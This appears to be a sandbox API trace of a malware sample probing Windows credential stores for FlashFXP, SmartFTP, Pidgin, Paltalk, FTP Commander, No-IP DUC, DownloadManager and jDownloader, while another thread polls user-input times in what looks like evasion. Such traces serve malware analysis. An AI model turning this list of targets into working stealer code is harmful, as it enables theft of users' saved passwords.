	[0214.281] SetErrorMode (uMode=0x0) returned 0x1
	[0214.287] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat", nBufferLength=0x105, lpBuffer=0x5ffe170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat", lpFilePart=0x0) returned 0x36
	[0214.287] GetLastError () returned 0x3
	[0214.287] SetErrorMode (uMode=0x1) returned 0x0
	[0214.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat" (normalized: "c:\\users\\all users\\appdata\\roaming\\flashfxp\\3quick.dat"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f0 | out: lpFileInformation=0x5ffe5f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.287] GetLastError () returned 0x3
	[0214.287] SetErrorMode (uMode=0x0) returned 0x1
	[0214.293] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x5ffe5f8, lpMaximumComponentLength=0x5ffe5ec, lpFileSystemFlags=0x5ffe5e8, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x5ffe5f8*=0x78b0a7d7, lpMaximumComponentLength=0x5ffe5ec*=0xff, lpFileSystemFlags=0x5ffe5e8*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1
	[0214.293] GetLastError () returned 0x3
	[0214.295] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Paltalk", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5a8 | out: phkResult=0x5ffe5a8*=0x0) returned 0x2
	[0214.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\.purple\\accounts.xml", nBufferLength=0x105, lpBuffer=0x5ffe170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\.purple\\accounts.xml", lpFilePart=0x0) returned 0x36
	[0214.301] GetLastError () returned 0x3
	[0214.301] SetErrorMode (uMode=0x1) returned 0x0
	[0214.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\.purple\\accounts.xml"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f0 | out: lpFileInformation=0x5ffe5f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.301] GetLastError () returned 0x3
	[0214.301] SetErrorMode (uMode=0x0) returned 0x1
	[0214.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", nBufferLength=0x105, lpBuffer=0x5ffe124, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFilePart=0x0) returned 0x4e
	[0214.308] GetLastError () returned 0x3
	[0214.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData", nBufferLength=0x105, lpBuffer=0x5ffe10c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData", lpFilePart=0x0) returned 0x19
	[0214.308] GetLastError () returned 0x3
	[0214.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData", nBufferLength=0x105, lpBuffer=0x5ffe03c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData", lpFilePart=0x0) returned 0x19
	[0214.308] GetLastError () returned 0x3
	[0214.308] SetErrorMode (uMode=0x1) returned 0x0
	[0214.308] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFindFileData=0x5af7b8 | out: lpFindFileData=0x5af7b8) returned 0xffffffff
	[0214.309] GetLastError () returned 0x2
	[0214.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData", nBufferLength=0x105, lpBuffer=0x5ffe03c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData", lpFilePart=0x0) returned 0x19
	[0214.309] GetLastError () returned 0x2
	[0214.309] SetErrorMode (uMode=0x1) returned 0x0
	[0214.309] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFindFileData=0x5af7b8 | out: lpFindFileData=0x5af7b8) returned 0xffffffff
	[0214.309] GetLastError () returned 0x2
	[0214.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\", nBufferLength=0x105, lpBuffer=0x5ffe170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\", lpFilePart=0x0) returned 0x4e
	[0214.309] GetLastError () returned 0x2
	[0214.309] SetErrorMode (uMode=0x1) returned 0x0
	[0214.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\smartftp\\client 2.0\\favorites\\quick connect"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f0 | out: lpFileInformation=0x5ffe5f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.309] GetLastError () returned 0x3
	[0214.309] SetErrorMode (uMode=0x0) returned 0x1
	[0214.341] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe454 | out: lpclsid=0x5ffe454*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.341] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe2c4 | out: ppv=0x5ffe2c4*=0x7bfe58) returned 0x0
	[0214.342] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe0f4 | out: ppvObject=0x5ffe0f4*=0x0) returned 0x80004002
	[0214.342] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe12c | out: ppvObject=0x5ffe12c*=0x7bff74) returned 0x0
	[0214.342] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffded0 | out: ppvObject=0x5ffded0*=0x7bff74) returned 0x0
	[0214.342] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffde8c | out: ppvObject=0x5ffde8c*=0x0) returned 0x80004002
	[0214.342] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffdd80 | out: ppvObject=0x5ffdd80*=0x7bff64) returned 0x0
	[0214.342] IProvideClassInfo:GetClassInfo (in: This=0x7bff64, ppTI=0x5ffdd78 | out: ppTI=0x5ffdd78*=0x51fef88) returned 0x0
	[0214.343] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffdd8c, pDummy=0xcfb98ec7 | out: ppTypeAttr=0x5ffdd8c, pDummy=0xcfb98ec7) returned 0x0
	[0214.343] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x5eaf90
	[0214.343] IUnknown:Release (This=0x7bff64) returned 0x2
	[0214.343] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.343] IUnknown:AddRef (This=0x7bff74) returned 0x3
	[0214.343] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.343] CoGetContextToken (in: pToken=0x5ffdcdc | out: pToken=0x5ffdcdc) returned 0x0
	[0214.343] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd10 | out: ppvObject=0x5ffdd10*=0x527e54) returned 0x0
	[0214.343] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd40 | out: pAptType=0x5ffdd40*=0) returned 0x0
	[0214.343] IUnknown:Release (This=0x527e54) returned 0x1
	[0214.343] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd00 | out: ppvObject=0x5ffdd00*=0x0) returned 0x80004002
	[0214.344] CoGetContextToken (in: pToken=0x5ffdd10 | out: pToken=0x5ffdd10) returned 0x0
	[0214.344] IUnknown:AddRef (This=0x7bff74) returned 0x4
	[0214.344] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd84 | out: ppvObject=0x5ffdd84*=0x0) returned 0x80004002
	[0214.344] IUnknown:Release (This=0x7bff74) returned 0x3
	[0214.344] IUnknown:Release (This=0x7bff74) returned 0x2
	[0214.344] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.344] IUnknown:Release (This=0x7bff74) returned 0x1
	[0214.345] CoGetContextToken (in: pToken=0x5ffe138 | out: pToken=0x5ffe138) returned 0x0
	[0214.345] IUnknown:AddRef (This=0x7bff74) returned 0x2
	[0214.345] IUnknown:QueryInterface (in: This=0x7bff74, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe194 | out: ppvObject=0x5ffe194*=0x7bff60) returned 0x0
	[0214.345] IUnknown:Release (This=0x7bff74) returned 0x2
	[0214.345] IDispatch:GetIDsOfNames (in: This=0x7bff60, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe190*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe180 | out: rgDispId=0x5ffe180*=2000) returned 0x0
	[0214.346] IDispatch:Invoke (in: This=0x7bff60, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe220*(rgvarg=([0]=0x5ffe1a0*(varType=0x4008, wReserved1=0x0, wReserved2=0xe380, wReserved3=0x5ff, varVal1=0x5ffe170*="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString", varVal2=0x5ffe2c8)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe1ec, pExcepInfo=0x5ffe078, puArgErr=0x5ffe118 | out: pDispParams=0x5ffe220*(rgvarg=([0]=0x5ffe1a0*(varType=0x4008, wReserved1=0x0, wReserved2=0xe380, wReserved3=0x5ff, varVal1=0x5ffe170*="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString", varVal2=0x5ffe2c8)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe1ec*(varType=0x0, wReserved1=0xc2cf, wReserved2=0xb67d, wReserved3=0x79d7, varVal1=0x80070002, varVal2=0x8fb25db1), pExcepInfo=0x5ffe078*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070002), puArgErr=0x5ffe118*=0x5ffe168) returned 0x80020009
	[0214.347] SysStringLen (param_1="Invalid root in registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString\".") returned 0x84
	[0214.347] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.349] IUnknown:Release (This=0x7bff60) returned 0x1
	[0214.352] GetFullPathNameW (in: lpFileName="Ftplist.txt", nBufferLength=0x105, lpBuffer=0x5ffe174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\Ftplist.txt", lpFilePart=0x0) returned 0x1f
	[0214.352] GetLastError () returned 0x0
	[0214.352] SetErrorMode (uMode=0x1) returned 0x0
	[0214.352] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\Ftplist.txt" (normalized: "c:\\windows\\system32\\ftplist.txt"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f4 | out: lpFileInformation=0x5ffe5f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.352] GetLastError () returned 0x2
	[0214.352] SetErrorMode (uMode=0x0) returned 0x1
	[0214.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5a0 | out: phkResult=0x5ffe5a0*=0x0) returned 0x2
	[0214.376] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5a0 | out: phkResult=0x5ffe5a0*=0x0) returned 0x2
	[0214.377] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5a0 | out: phkResult=0x5ffe5a0*=0x0) returned 0x2
	[0214.377] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5a0 | out: phkResult=0x5ffe5a0*=0x0) returned 0x2
	[0214.385] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\DownloadManager\\Passwords", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b0 | out: phkResult=0x5ffe5b0*=0x0) returned 0x2
	[0214.395] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\jDownloader\\config\\database.script", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\jDownloader\\config\\database.script", lpFilePart=0x0) returned 0x39
	[0214.395] GetLastError () returned 0x2
	[0214.395] SetErrorMode (uMode=0x1) returned 0x0
	[0214.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\jDownloader\\config\\database.script" (normalized: "c:\\program files (x86)\\jdownloader\\config\\database.script"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.396] GetLastError () returned 0x3
	[0214.396] SetErrorMode (uMode=0x0) returned 0x1
	[0214.397] CoGetContextToken (in: pToken=0x5fff328 | out: pToken=0x5fff328) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd958 | out: pToken=0x5ffd958) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.398] IUnknown:Release (This=0x7bff44) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.398] IUnknown:Release (This=0x7bfeb4) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.398] IUnknown:Release (This=0x7bff14) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.398] IUnknown:Release (This=0x7bff74) returned 0x0
	[0214.398] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.398] IUnknown:Release (This=0x7bfe84) returned 0x0
	[0214.399] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.399] IUnknown:Release (This=0x5ed078) returned 0x1
	[0214.400] IUnknown:Release (This=0x5ed078) returned 0x0
	[0214.400] CoGetContextToken (in: pToken=0x5ffd8e8 | out: pToken=0x5ffd8e8) returned 0x0
	[0214.400] IUnknown:Release (This=0x7bfee4) returned 0x0
	[0214.400] IUnknown:Release (This=0x527e48) returned 0x0
	[0214.401] CoUninitialize () 

Thread:
	id = 219
	os_tid = 0x148

	[0210.508] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0210.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe2b90e30, dwHighDateTime=0x1d3d6ce)) 
	[0210.531] GetLastInputInfo (in: plii=0x2393280 | out: plii=0x2393280) returned 1
	[0211.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe3516630, dwHighDateTime=0x1d3d6ce)) 
	[0211.519] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0213.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe3e75cd0, dwHighDateTime=0x1d3d6ce)) 
	[0213.159] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0214.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe4821630, dwHighDateTime=0x1d3d6ce)) 
	[0214.173] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0215.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe51ccf90, dwHighDateTime=0x1d3d6ce)) 
	[0215.187] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0216.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe5b788f0, dwHighDateTime=0x1d3d6ce)) 
	[0216.202] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0217.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe6524250, dwHighDateTime=0x1d3d6ce)) 
	[0217.217] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0218.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe6ecfbb0, dwHighDateTime=0x1d3d6ce)) 
	[0218.238] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0219.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe787b510, dwHighDateTime=0x1d3d6ce)) 
	[0219.254] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0220.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe8226e70, dwHighDateTime=0x1d3d6ce)) 
	[0220.265] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0221.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe8bd27d0, dwHighDateTime=0x1d3d6ce)) 
	[0221.285] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0222.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe957e130, dwHighDateTime=0x1d3d6ce)) 
	[0222.289] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0223.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe9f29a90, dwHighDateTime=0x1d3d6ce)) 
	[0223.312] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0224.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xea8fb550, dwHighDateTime=0x1d3d6ce)) 
	[0224.332] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0225.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeb2a6eb0, dwHighDateTime=0x1d3d6ce)) 
	[0225.353] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0226.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xebc52810, dwHighDateTime=0x1d3d6ce)) 
	[0226.380] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0227.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xec5fe170, dwHighDateTime=0x1d3d6ce)) 
	[0227.394] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0228.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xecfa9ad0, dwHighDateTime=0x1d3d6ce)) 
	[0228.409] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0229.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xed955430, dwHighDateTime=0x1d3d6ce)) 
	[0229.426] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0230.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xee300d90, dwHighDateTime=0x1d3d6ce)) 
	[0230.438] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0231.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xeecac6f0, dwHighDateTime=0x1d3d6ce)) 
	[0231.454] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0232.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xef658050, dwHighDateTime=0x1d3d6ce)) 
	[0232.466] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0233.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf00039b0, dwHighDateTime=0x1d3d6ce)) 
	[0233.480] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0234.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf09af310, dwHighDateTime=0x1d3d6ce)) 
	[0234.494] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0235.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf135ac70, dwHighDateTime=0x1d3d6ce)) 
	[0235.592] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0236.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf1d065d0, dwHighDateTime=0x1d3d6ce)) 
	[0236.606] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0237.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf26b1f30, dwHighDateTime=0x1d3d6ce)) 
	[0237.635] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0238.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf305d890, dwHighDateTime=0x1d3d6ce)) 
	[0238.657] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0239.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf3a091f0, dwHighDateTime=0x1d3d6ce)) 
	[0239.673] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
